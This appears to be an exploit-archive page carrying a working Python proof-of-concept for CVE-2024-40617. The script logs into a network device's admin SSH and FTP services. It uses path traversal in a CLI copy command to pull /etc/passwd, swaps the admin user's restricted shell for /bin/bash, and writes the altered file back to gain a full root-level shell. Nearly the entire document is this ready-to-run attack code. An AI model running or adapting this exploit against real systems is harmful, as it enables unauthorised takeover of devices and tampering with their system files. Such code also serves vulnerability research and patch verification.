4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2024-40617-PoC.py PY
#!/usr/bin/env python
# July 2024
# CVE-2024-40617 PoC (Eddy HUYNH / Jonathan PAUC)


import subprocess
import re
import sys
import os
import argparse

try:
    import pexpect
except ModuleNotFoundError:
    subprocess.check_call([sys.executable, '-m', 'pip', 'install', 'pexpect'])
    import pexpect

try:
    from ftplib import FTP
except ModuleNotFoundError:
    subprocess.check_call([sys.executable, '-m', 'pip', 'install', 'ftplib'])
    from ftplib import FTP

class ColoredOutput:
    RED = '\033[91m'
    GREEN = '\033[92m'
    ORANGE = '\033[93m'
    CYAN = '\033[96m'
    RESET = '\033[0m'

    @staticmethod
    def print_success(message):
        print(f"{ColoredOutput.GREEN}{message}{ColoredOutput.RESET}")

    @staticmethod
    def print_error(message):
        print(f"{ColoredOutput.RED}{message}{ColoredOutput.RESET}")

    @staticmethod
    def print_content(message):  
        print(f"{ColoredOutput.ORANGE}{message}{ColoredOutput.RESET}")

    @staticmethod
    def print_deploy_message(message):
        print(f"{ColoredOutput.CYAN}{message}{ColoredOutput.RESET}")

    @staticmethod
    def print_banner():

        print(f"{ColoredOutput.ORANGE} __  __ ____            ____  ____   ___                 {ColoredOutput.RESET}")                 
        print(f"{ColoredOutput.ORANGE}|  \/  |___ \ _ __ ___ |___ \|  _ \ / _ \__      ___ __  {ColoredOutput.RESET}")
        print(f"{ColoredOutput.ORANGE}| |\/| | __) | '_ ` _ \  __) | |_) | | | \ \ /\ / / '_ \ {ColoredOutput.RESET}")
        print(f"{ColoredOutput.ORANGE}| |  | |/ __/| | | | | |/ __/|  __/| |_| |\ V  V /| | | |{ColoredOutput.RESET}")
        print(f"{ColoredOutput.ORANGE}|_|  |_|_____|_| |_| |_|_____|_|    \___/  \_/\_/ |_| |_|{ColoredOutput.RESET}")
        print(f"")                                              
                                                    
class Payload:
    @staticmethod
    def generate(file_path):

        if not os.path.exists(file_path): 
            ColoredOutput.print_error(f"[PAYLOAD] File [{file_path}] doesn't exist")
            return

        try:
            with open(file_path, 'r') as file:
                lines = file.readlines()

            modified_lines = []
            for line in lines:
                modified_line = re.sub(r'^(admin:[^:]*:[^:]*:[^:]*::)//var/cli://sgw/usr/opt/cli/cli_sh$', r'\1/:/bin/bash', line)
                modified_lines.append(modified_line)

            with open(file_path, 'w') as file:
                file.writelines(modified_lines)

            ColoredOutput.print_success('[PAYLOAD] Payload successfully generated.')
        except Exception as e:
            ColoredOutput.print_error(f'[PAYLOAD] Error payload generation: {e}')

    @staticmethod
    def clean(file_path):

        if not os.path.exists(file_path):
            return

        try:
            os.remove(file_path)
            ColoredOutput.print_success(f'[PAYLOAD] Clean payload stage.')
        except Exception as e:
            ColoredOutput.print_error(f'[PAYLOAD] Error cleaning payload stage: {e}')

class SSHConnection:
    def __init__(self, hostname, username="admin", password="admin", port=50022):
        self.hostname = hostname
        self.username = username
        self.password = password
        self.port = port
        self.connection = None

    def connect(self):
        try:
            self.connection = pexpect.spawn(f'ssh {self.username}@{self.hostname} -p {self.port}')
            self.connection.expect(f"admin@{self.hostname}'s password: ")
            self.connection.sendline(self.password)
            self.connection.expect(f"localhost# ")
            ColoredOutput.print_success(f'[SSH] Successfully connected to {self.hostname}')
        except pexpect.ExceptionPexpect as e:
            ColoredOutput.print_error(f'[SSH] Error during connection: {e}')

    def check_vulnerability(self):
        if self.connection:
            pass
        else:
            ColoredOutput.print_error('[SSH] Connection is not established')

    def copy_passwd(self):
        if self.connection:
            self.connection.sendline(f"copy ftp/../../etc/passwd ftp/deploy")
            self.connection.expect(f"localhost# ")
            ColoredOutput.print_deploy_message(f'[EXPLOIT] Passwd copy operation : {self.connection.before.decode()}')
        else:
            ColoredOutput.print_error('[SSH] Connection is not established')

    def exploit(self):
        if self.connection:
            self.connection.sendline(f"copy ftp/deploy/payload ftp/../../etc/passwd")
            self.connection.expect(f"localhost# ")
            ColoredOutput.print_deploy_message(f'[EXPLOIT] Exploit operation : {self.connection.before.decode()}')
            ColoredOutput.print_deploy_message(f'[+] Now connect to SSH service on {self.hostname} and now you have access to a Bash prompt')
        else:
            ColoredOutput.print_error('[SSH] Connection is not established')


    def disconnect(self):
        if self.connection:
            self.connection.sendline('exit')
            self.connection = None
            ColoredOutput.print_content('[SSH] Successfully disconnected')
        else:
            ColoredOutput.print_error('[SSH] No connection to close')


class FTPConnection:
    def __init__(self, hostname, username='admin', password='admin', port=50021):
        self.hostname = hostname
        self.username = username
        self.password = password
        self.port = port
        self.connection = None

    def connect(self):
        try:
            self.connection = FTP()
            self.connection.connect(self.hostname, self.port)
            self.connection.login(self.username, self.password)
            ColoredOutput.print_success(f'[FTP] Connection succeeded to {self.hostname}')
        except Exception as e:
            ColoredOutput.print_error(f'[FTP] Connection error : {e}')

    def list_files(self, path="."):
        if self.connection:
            try:
                files = self.connection.nlst(path)
                for file in files:
                    ColoredOutput.print_content(file)
                ColoredOutput.print_success(f'File list in {path}')
            except Exception as e:
                ColoredOutput.print_error(f'[FTP] Error retrieving file list: {e}')
        else:
            print('[FTP] Connection is not established')

    def upload_file(self, local_path, target_path):
            
        if not os.path.exists(local_path): 
            ColoredOutput.print_error(f"[FTP] File [{local_path}] doesn't exist")
            return

        try:
            with open(local_path, 'rb') as file:
                self.connection.storbinary(f'STOR {target_path}', file)
            ColoredOutput.print_success(f'[FTP] File {local_path} successfully uploaded to {target_path}')
        except Exception as e:
            ColoredOutput.print_error(f'[FTP] Error uploading file [{local_path}]: {e}')

    def download_file(self, target_path, local_path):
        try:
            with open(local_path, 'wb') as file:
                self.connection.retrbinary(f'RETR {target_path}', file.write)
            ColoredOutput.print_success(f'[FTP] File {target_path} successfully downloaded to {local_path}')
        except Exception as e:
            ColoredOutput.print_error(f'[FTP] Error downloading file [{target_path}]: {e}')

            if  os.path.exists(local_path): 
                os.remove(local_path)

    def disconnect(self):
        if self.connection:
            self.connection.quit()
            self.connection = None
            ColoredOutput.print_content('[FTP] Successfully disconnected')
        else:
            ColoredOutput.print_error('[FTP] No connection to close')



def check_vulnerability(hostname, username, password):
    print(f"Checking vulnerability for {hostname} with user {username}")
    ColoredOutput.print_error(f"TODO - Not yet implemented")
    print("")



def exploit_vulnerability(hostname, username, password):

    print(f"Exploiting vulnerability for {hostname} with user {username}")
    print("")

    #FIRST STATE/ download original passwd
    ssh_conn = SSHConnection(hostname, username, password)
    ftp_conn = FTPConnection(hostname, username, password)

    ssh_conn.connect()
    ftp_conn.connect()

    ssh_conn.copy_passwd() 
    ftp_conn.download_file('deploy/passwd', 'payload')


    #SECOND STAGE / Generate the payload
    Payload.generate('payload')


    #THIRD STAGE / upload payload to the target
    ftp_conn.upload_file('payload','deploy/payload')
    ssh_conn.exploit()

    # FOURTH STAGE / Decommissioning
    Payload.clean('payload')
    ssh_conn.disconnect()
    ftp_conn.disconnect()
    print("")



def main():
    ColoredOutput.print_banner()
    parser = argparse.ArgumentParser(description="CVE 2024-40617 Exploit PoC")
    parser.add_argument('--version', action='version', version='Version 1.0 / Eddy HUYNH | Jonathan PAUC')

    # Argument for the target hostname
    parser.add_argument('-t', '--target', help='Target hostname', required=True)  
    parser.add_argument('-p', '--password', help='Admin Password', required=True)

    # Exclusive group for choosing between check and exploit
    group = parser.add_mutually_exclusive_group(required=True)
    group.add_argument('-c', '--check', action='store_true', help='Check vulnerability (Not yet implemented)')
    group.add_argument('-e', '--exploit', action='store_true', help='Exploit vulnerability')

    args = parser.parse_args()

    if args.check:
        check_vulnerability(args.target, "admin", args.password)
    elif args.exploit:
        exploit_vulnerability(args.target, "admin", args.password)

if __name__ == "__main__":
    main()